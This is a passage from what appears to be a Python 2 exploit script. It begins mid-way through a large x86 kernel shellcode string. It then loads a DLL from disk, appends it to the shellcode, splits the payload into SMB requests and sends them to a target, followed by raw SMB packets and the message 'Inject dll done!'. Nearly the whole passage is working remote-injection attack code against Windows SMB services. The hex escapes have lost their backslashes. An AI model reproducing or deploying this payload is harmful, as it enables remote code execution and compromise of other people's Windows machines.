ExB8x28x00x00x00x52xF7xE2x5Ax03x45x08x56x8Bx76x44x89xC1x83xC1x14x03x31x8Bx7Dx10x89xC1x83xC1x0Cx03x39x89xC1x83xC1x10x8Bx09xF3xA4x5Ex42xEBxCEx31xC0xEBx04x31xC0xF7xD0x59x5Bx5Ax5FxC3x57x52x53x51x8Bx7Dx10xE8xF4xFExFFxFFx85xC0x0Fx85xDEx00x00x00xE8x40x03x00x00x85xC0x0Fx85xD1x00x00x00x8Bx7Dx00xB8x08x00x00x00xBAx01x00x00x00xF7xE2x8Bx55x0Cx01xC2x83xC2x00x8Bx1Ax01xFBx89x5Dx18x39xFBx0Fx84xB1x00x00x00x89xD8x83xC0x10x8Bx00x85xC0x0Fx84xA2x00x00x00x8Bx45x00x89xDAx83xC2x0Cx03x02x50xFFx56x10x85xC0x0Fx84x86x00x00x00x89x45x24x89xDAx83xC2x00x8Bx7Dx00x03x3Ax89x7Dx1Cx89xDAx83xC2x10x8Bx7Dx00x03x3Ax89x7Dx20x8Bx55x1Cx8Bx12x85xD2x74x58x89xD7x81xE7x00x00x00x80x74x0Ax89xD7x81xE7xFFxFFx00x00xEBx08x8Bx7Dx00x01xD7x83xC7x02x57x8Bx7Dx24x57xFFx56x14x85xC0x74x38x8Bx55x20x89x02xE8xCDx03x00x00x85xC0x74x0ExE8x88x03x00x00x85xC0x75x05xE8x13x03x00x00x8Bx55x1Cx83xC2x04x89x55x1Cx8Bx55x20x83xC2x04x89x55x20xEBx9Fx83xC3x14xE9x55xFFxFFxFFx31xC0xF7xD0xEBx02x31xC0x59x5Bx5Ax5FxC3x57x52x8Bx7Dx04x83xC7x34x8Bx55x10x89x17x31xC0x5Ax5FxC3x57x52x53x51x8Bx55x14x85xD2x0Fx84xA0x00x00x00xB8x08x00x00x00xBAx05x00x00x00xF7xE2x8Bx55x0Cx01xC2x89xD7x83xC7x04x8Bx3Fx85xFFx74x7Ex89xD7x83xC7x00x8Bx3Fx85xFFx74x73x8Bx55x10x01xFAx89xD7x83xC7x04x8Bx3Fx85xFFx74x69x83xEFx08xD1xEFx31xC9x39xF9x74x4Dx89xD3x83xC3x08x89xC8xD1xE0x01xC3xC7x45x2Cx00x00x00x00x66x8Bx03x66x25x00xF0x66xC1xE8x0Cx66x83xF8x00x74x27x66x83xF8x03x75x21x89xD0x83xC0x00x8Bx00x89x45x2Cx31xC0x66x8Bx03x66x25xFFx0Fx01x45x2Cx8Bx45x10x03x45x2Cx8Bx5Dx14x01x18x41xEBxAFx89xD7x83xC7x04x8Bx3Fx01xFAxEBx92x31xC0xF7xD0xEBx02x31xC0x59x5Bx5Ax5FxC3x57x52x53x51x8Bx7Dx04x83xC7x06x31xDBx66x8Bx1Fx31xD2x39xD3x0Fx84x92x00x00x00xB8x28x00x00x00x52xF7xE2x5Ax03x45x08x89xC7x83xC7x24x8Bx3FxC7x45x5Dx00x00x00x00xF7xC7x00x00x00x02x75x64xF7xC7x00x00x00x40x74x07xC7x45x5Dx02x00x00x00xF7xC7x00x00x00x80x74x07xC7x45x5Dx04x00x00x00xF7xC7x00x00x00x20x74x1Ax83x7Dx5Dx02x75x07xC7x45x5Dx20x00x00x00x83x7Dx5Dx04x75x07xC7x45x5Dx40x00x00x00x8Bx7Dx10x89xC1x83xC1x0Cx03x39x89xC1x83xC1x08x8Bx09x52x8Dx45x61x50x8Bx45x5Dx50x51x57xFFx56x1Cx5Ax85xC0x74x06x42xE9x6CxFFxFFxFFx31xC0xF7xD0xEBx02x31xC0x59x5Bx5Ax5FxC3x52x57x8Bx55x10x8Bx7Dx04x83xC7x28x8Bx3Fx01xFAx6Ax00x6Ax00x8Bx7Dx10x57xFFxD2x31xC0x5Fx5AxC3x52x57x8Bx55x10x8Bx7Dx04x83xC7x28x8Bx3Fx01xFAx6Ax00x6Ax01x8Bx7Dx10x57xFFxD2x31xC0x5Fx5AxC3x39xECx7Dx79x57x56x53x89xE6x83xC6x0Cx55x6Ax00x89xE3x51x52x89xE9x29xF1x83xF9x04x7Cx5Ax50x52x53xB8x0Fx00x00x00x6BxC0x04x39xC8x7Dx02x89xC1xBAx00x00x00x00x89xC8xBBx04x00x00x00xF7xFBx48x6Ax00x83xF8x00x75xF8x01xCCx5Bx5Ax58x89xE5x89xE7x29xCFx89xFCxF3xA4x89x23x8Bx4BxFCx8Bx53xF8xC7x43xFCx00x00x00x00xC7x43xF8x00x00x00x00xC7x04x24xFFxFFxFFxFFxBExEExEExEExEExFFxE0x59x59x5Dx5Dx5Bx5Ex5FxFFxE0x5Bx89xE1x2Bx4Dx08x83xE9x04x89xECx83xC4x20x01xCCx8Bx5Dx10x8Bx75x14x8Bx7Dx18x8Bx4Dx1Cx8Bx6Dx0CxFFxE1x00x00x00x00x57x52x53x51xB8x08x00x00x00xBAx0Cx00x00x00xF7xE2x8Bx55x0Cx01xC2x83xC2x04x8Bx1AxC1xEBx02xB8x0Ax00x00x00xF7xE3x89x45x34x6Ax40x68x00x30x00x00x50x6Ax00xFFx56x08x85xC0x74x4Bx89x45x30x8Bx46x20x8Bx7Dx65x83xC7x03x89x07x8Bx46x28xA9x02x00x00x00x74x18x8Bx45x6Dx8Bx5Dx71x89x03x8Bx5Ex24x8Bx7Dx71x29xDFx8Bx5Dx69x43x89x3BxEBx09x8Bx45x6Dx8Bx7Dx69x47x89x07x8Bx46x28xA9x01x00x00x00x74x0Ex8Bx7Dx69xC6x07xBFxEBx06x31xC0xF7xD0xEBx02x31xC0x59x5Bx5Ax5FxC3x57x52x53x51x56x50x8Bx7Dx30x8Bx45x38x01xC7x89xEEx83xC6x3CxB9x0Ax00x00x00xF3xA4x8Bx7Dx30x8Bx45x38x01xC7x83xC7x00x47x8Bx55x20x8Bx1Ax89x1Fx8Bx75x75x8Bx7Dx30x8Bx45x38x01xC7x83xC7x05x47x83xC7x04x29xFEx8Bx7Dx30x8Bx45x38x01xC7x83xC7x05x47x89x37x8Bx7Dx30x8Bx45x38x01xC7x8Bx75x20x89x3Ex8Bx45x38x83xC0x0Ax89x45x38x58x5Ex59x5Bx5Ax5FxC3x57x52x53x51x56x8Bx7Dx00x89xDAx83xC2x0Cx03x3Ax89xE9x83xC1x46x57x51xFFx56x18x85xC0x74x12x89xE9x83xC1x51x57x51xFFx56x18x85xC0x74x04x31xC0xEBx07xB8x01x00x00x00xEBx00x5Ex59x5Bx5Ax5FxC3x57x52x53x51x56x8Bx7Dx24x89xFAx83xC2x00x66x8Bx1Ax66x81xFBx4Dx5Ax75x65x89xFAx83xC2x3Cx8Bx1Ax01xDFx89xFAx83xC2x00x8Bx1Ax81xFBx50x45x00x00x75x4Dx89xFEx83xC6x14x31xDBx66x8Bx1Ex89xFEx83xC6x18x01xDEx89xFBx83xC3x06x31xC9x66x8Bx0Bx31xD2x89xF3x83xC3x0Cx8Bx7Dx24x03x3Bx39xF8x7Cx1Ax89xF3x83xC3x08x03x3Bx39xF8x7Dx0Fx89xF3x83xC3x24x8Bx1BxF7xC3x00x00x00x20x75x0Cx83xC6x28x42x39xCAx7CxD0x31xC0xEBx07xB8x01x00x00x00xEBx00x5Ex59x5Bx5Ax5FxC3xEBx18x6Ax0BxEBx16x6Ax0CxEBx12x6Ax0DxEBx0Ex6Ax0ExEBx0Ax6Ax0FxEBx06x6Ax10xEBx02xEBx76x58x8Bx04x86x56x57x53x55x89xF3x89xE6x83xC6x14xB9x40x00x00x00x29xCCx89xE7xF3xA4x89xE5xE8x00x00x00x00x5Fx89xDEx8Bx5Ex28x50x8Dx47x3CxF7xC3x10x00x00x00x75x01x40xF7xC3x02x00x00x00x75x04x89xC7xEBx0Ax8Dx7Fx51x89x07x8Bx46x24x29xC7x58xF7xC3x01x00x00x00x8Bx5Ex20x53x74x02xEBx02x89xFExFFxE0x5Bx8Bx5Dx44x8Bx7Dx48x8Bx75x4Cx8Bx4Dx50x8Bx6Dx40x83xC4x54xFFxE1x00x00x00x00xE9x52x01x00x00x55x89xE5x53x56x51x8Bx4Dx10x0FxB6x01x85xC0x74x2Cx8Bx75x08x85xF6x8Bx75x0Cx74x02x29xC6x0FxB6x06x3CxFFx75x14x0FxB6x59x01x46x0FxB6x06x39xD8x72x08x0FxB6x59x02x39xD8x76x09x8Dx49x03xEBxCDx31xC0xEBx03x31xC0x40x59x5Ex5Bx89xECx5DxC2x0Cx00x8Dx85x44xFExFFxFFx50x57x31xC0x50xE8xA4xFFxFFxFFx85xC0x74x49x51x8Bx4Cx24x08x31xC0x89x41x04x0FxB6x47x01x24x01x89xC1x0FxB6x47x01x24x10x09xC1x0FxB6x47x01x3CxD0x77x1Dx80xC9x02x3Cx30x72x16x51x3Cx70x72x05x8Bx4Fx02xEBx04x0FxBEx4Fx02x8Bx44x24x0Cx89x48x04x59x8Bx44x24x08x89x08x59x31xC0x40xC2x04x00x02x26x27x03x66x67x06xA6xA7x02xE6xE7x02x16x17x03x56x57x06x96x97x02xD6xD7x00x8Dx85xA6xFExFFxFFx50x57x31xC0x40x50xE8x2AxFFxFFxFFx85xC0x74x07xB8x02x00x00x00xEBx2Cx8Dx85xC2xFExFFxFFx50x57x31xC0x40x50xE8x0ExFFxFFxFFx85xC0x74x07xB8x01x00x00x00xEBx10x8Dx47xFBx8Ax00x3CxE8xB8x01x00x00x00x74x02x31xC0xC3x02x10x13x03x14x14x02x16x17x03x50x53x04x54x54x03x55x57x06x90x93x06x95x97x02xD0xD7x00x06x15x15x02x18x1Bx03x1Cx1Cx06x1Dx1Dx02x1Ex1Fx03x58x5Bx04x5Cx5Cx03x5Dx5Fx07x94x94x06x98x9Bx07x9Cx9Cx06x9Dx9Fx02xD8xDFx00xE9xCFx00x00x00x5ExE9xC9x00x00x00x31xC0x60xB0x18x64x8Bx18x8Bx5Bx30x8Bx5Bx0Cx8Bx5Bx14x8Bx73x28x8Bx6Bx10x85xEDx0Fx84x82x00x00x00x31xD2xC1xC2x05x66xADx0Cx20x30xC2x66x83x3Ex00x75xF1x8Bx1Bx3Bx54x24x24x75xD9x8Bx44x24x28x85xC0x75x04x89xE8xEBx59x8Bx7Dx3Cx01xEFx8Bx7Fx78x01xEFx39xEFx74x4Fx8Bx4Fx18x85xC9x74x48x8Bx57x1Cx01xEAx8Bx5Fx20x01xEBx8Bx7Fx24x01xEFx89x54x24x24x8Bx33x01xEEx31xD2xC1xC2x05xACx0Cx20x30xC2x80x3Ex00x75xF3x3Bx54x24x28x74x0Ax83xC7x02x83xC3x04xE2xDFxEBx12x0FxB7x17xC1xE2x02x03x54x24x24x8Bx02x01xE8x89x44x24x1Cx61xC2x08x00x06xDFxB0x2Cx51x33x8Ax8DxA4x00x78x95x27x85x00x3Bx00xA1xB4x00xDBxB6xB6xE5x00xC4x22x07xE2x00x82x5Ax15x4Ax00x00x31xC0x8Bx4Ex04x64x89x08xEBx04x8Bx64x24x08x83xC4x10x5Dx5Ex31xC0x64x8Fx00x8Bx26x89x44x24x1Cx31xC0x8Dx4Dx00x8Dx5DxFBx29xD9x89xDFxF3xAAx8Dx4DxF7x8Dx9Dx9CxF2xFFxFFx29xD9x89xDFxF3xAAx61xC3xE8xA9xF2xFFxFFxEBx09x90x00x14x00x00x01x00x00x00"
f = open(dllfile,"rb")
dll_hex = f.read()
f.close()
dll_hex += "x00"*3
array , ncount = make_smb_request(kernel_shellcode + dll_hex,key)
for i in range(ncount):
#print binascii.b2a_hex(array[i])
print i+4,",len:",len(array[i])
s.sendall(array[i])
data = s.recv(1024)
print i+4,"--->",data
#end1
step_7_data ="x00x00x00x23xFFx53x4Dx42x71x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x00x00x00"
s.sendall(step_7_data)
data = s.recv(1024)
print 7,data
#end2
step_8_data ="x00x00x00x27xFFx53x4Dx42x74x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x02xFFx00x27x00x00x00"
s.sendall(step_8_data)
data = s.recv(1024)
print 8,data
print "------Inject dll done!------"
s.close()